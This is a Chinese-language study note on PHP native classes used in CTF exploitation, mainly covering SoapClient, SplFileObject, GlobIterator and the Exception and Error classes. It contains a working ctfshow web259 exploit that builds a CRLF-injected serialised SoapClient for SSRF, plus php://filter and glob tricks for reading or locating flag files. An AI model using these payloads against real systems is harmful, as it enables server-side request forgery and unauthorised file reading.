个人对php原生类的总结
参考:
https://blog.csdn.net/qq_52988816/article/details/124573109
读取PHP中存在的原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
php7如下:
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
JsonException::__wakeup
JsonException::__toString
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
AssertionError::__wakeup
AssertionError::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
SoapClient::__call
SoapFault::__toString
SoapFault::__wakeup
SoapClient
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
打开php.ini,找到extension=soap,把前面注释去掉,重启服务
通过调用SoapClient不存在的方法,触发SoapClient的__call魔术方法
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
CRLF注入
CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a
Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
EXP
ctfshow web259
<?php
$target = 'http://127.0.0.1/flag.php'; //SSRF
$post_string = 'token=ctfshow'; //要post的命令
$headers = array('X-Forwarded-For:127.0.0.1');
$b = new SoapClient(null, array('location' => $target, 'user_agent' => 'C1oudfL0w0^^Content-Type: application/x-www-form-urlencoded^^' .join('^^',$headers). '^^Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string, 'uri' => "C1oudfL0w0"));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a); //替换为CRLF
echo urlencode($a);
SplFileInfo
这个类提供了一种面向对象的方式来获取有关文件的信息,例如文件大小、文件类型、文件访问时间等等
SplFileObject
继承自
SplFileInfo
类,PHP编程文件处理类,为文件提供了一个面向对象接口
以下代码可以打开一个文本文件、逐行读取其内容并输出到屏幕上
$file = new SplFileObject('example.txt');
while (!$file->eof()) {
$line = $file->fgets();
echo $line;
}
$file = null;
使用例:
new SplFileObject(php://filter/convert.base64-encode/resource=flag.php)
方法:
__construct()
:该方法用于创建一个SplFileObject
对象,并打开指定的文件。该方法有多个参数,用于指定文件路径、打开模式等信息。fopen()
:该方法用于打开文件,可以指定打开模式、是否锁定文件等信息。fgets()
:该方法用于按行读取文件内容,每次读取一行,并返回该行内容。该方法可以接收一个可选的参数,用于指定读取的最大字节数。fgetcsv()
:该方法用于按 CSV 格式读取文件内容,每次读取一行,并返回该行内容的数组形式。该方法可以接收多个可选参数,用于指定 CSV 的分隔符、字段包围符号等信息。fread()
:该方法用于按字节读取文件内容,可以指定读取的字节数,并返回读取的内容。fwrite()
:该方法用于向文件中写入内容,可以指定要写入的内容和写入的长度,并返回写入的字节数。feof()
:该方法用于判断是否已到达文件末尾。rewind()
:该方法用于将文件指针重新指向文件开头。seek()
:该方法用于将文件指针定位到指定位置。current()
:该方法用于返回当前位置的行内容。key()
:该方法用于返回当前位置的行号。next()
:该方法用于将文件指针指向下一行。valid()
:该方法用于判断当前位置是否有效。getFlags()
:该方法用于获取打开文件时使用的标志。setFlags()
:该方法用于设置打开文件时使用的标志。
SplTempFileObject
这个类提供了一个临时文件对象,您可以使用它来读取和写入临时文件
DirectoryIterator
这个类提供了一种面向对象的方式来遍历目录并读取目录中的文件。您可以使用它来获取目录中的文件列表,以及文件的基本信息
并不能产生回显
然而,如果攻击者在目标服务器上创建了一个恶意的文件,该文件的内容包含攻击者控制的数据,例如一个 PHP 代码段,那么攻击者可以利用 DirectoryIterator
来读取该文件的内容(包括 PHP 代码),从而达到回显的目的
方法:
__construct($path, $flags = 0)
:创建一个新的 DirectoryIterator 实例。$path
参数指定要遍历的目录路径,$flags
参数允许你指定一些选项,比如是否遍历隐藏文件和只列出文件而不包括子目录等。current()
:返回当前迭代器指向的文件或目录的 DirectoryIterator 实例。getChildren()
:返回当前迭代器指向的目录的 DirectoryIterator 实例,用于遍历其子目录。getFilename()
:返回当前迭代器指向的文件或目录的文件名。isDir()
:返回当前迭代器指向的文件或目录是否为目录。isDot()
:返回当前迭代器指向的文件或目录是否为当前目录(.
)或上级目录(..
)。isFile()
:返回当前迭代器指向的文件或目录是否为文件。key()
:返回当前迭代器指向的文件或目录的键名,即文件名或目录名。next()
:将迭代器指向下一个文件或目录。rewind()
:将迭代器指向第一个文件或目录。valid()
:检查当前迭代器指向的文件或目录是否存在,如果存在返回true
,否则返回false
。
FilesystemIterator
这个类继承了
DirectoryIterator
类,并提供了一些额外的功能,例如可以按照不同的排序方式对文件进行排序。
可以显示当前目录下的文件结构,默认只显示第一个文件,需要遍历
getcwd()
函数可用于返回当前路径
然后直接访问即可
GlobIterator
遍历一个文件系统行为类似于glob(),可以通过模式匹配来寻找文件路径(PHP 5 >= 5.3.0, PHP 7, PHP 8)
只需要知道部分名称就可以进行遍历
eg:
<?php
$dir=new GlobIterator("/*flag*");
echo $dir;
Exception
所有异常类的基类
Exception::__construct()
:创建一个新的异常对象,可以指定异常消息、异常代码和上一个异常对象。Exception::__toString()
:将异常转换为字符串,返回一个包含异常消息、文件名和行号的字符串。测试:
<?php $class=new Exception("test string"); echo $class->__toString();
输出:Exception: test string in 路径:2 Stack trace: #0 {main}
我们可以直接使用print或echo显示异常对象信息
Exception::getMessage()
:获取异常消息。Exception::getCode()
:获取异常代码。Exception::getFile()
:获取抛出异常的文件名。Exception::getLine()
:获取抛出异常的行号。Exception::getTrace()
:获取异常的堆栈跟踪信息数组。Exception::getPrevious()
:获取上一个异常对象。
eg:
<?php
throw new Exception("Value must be 1 or below");
Fatal error: Uncaught exception 'Exception' with message 'Value must be 1 or below' in /www/runoob/test/test.php:7 Stack trace: #0 /www/runoob/test/test.php(13): checkNum(2) #1 {main} thrown in /www/runoob/test/test.php on line 7
因此可以在()中执行函数
Error
所有错误类的基类。与异常不同,错误是在编译时或运行时发生的问题,通常不能恢复并且会导致程序终止
Error::__construct()
:创建一个新的错误对象,可以指定错误消息、错误代码和上一个错误对象。Error::getMessage()
:获取错误消息。Error::getCode()
:获取错误代码。Error::getFile()
:获取抛出错误的文件名。Error::getLine()
:获取抛出错误的行号。Error::getTrace()
:获取错误的堆栈跟踪信息数组。Error::getPrevious()
:获取上一个错误对象。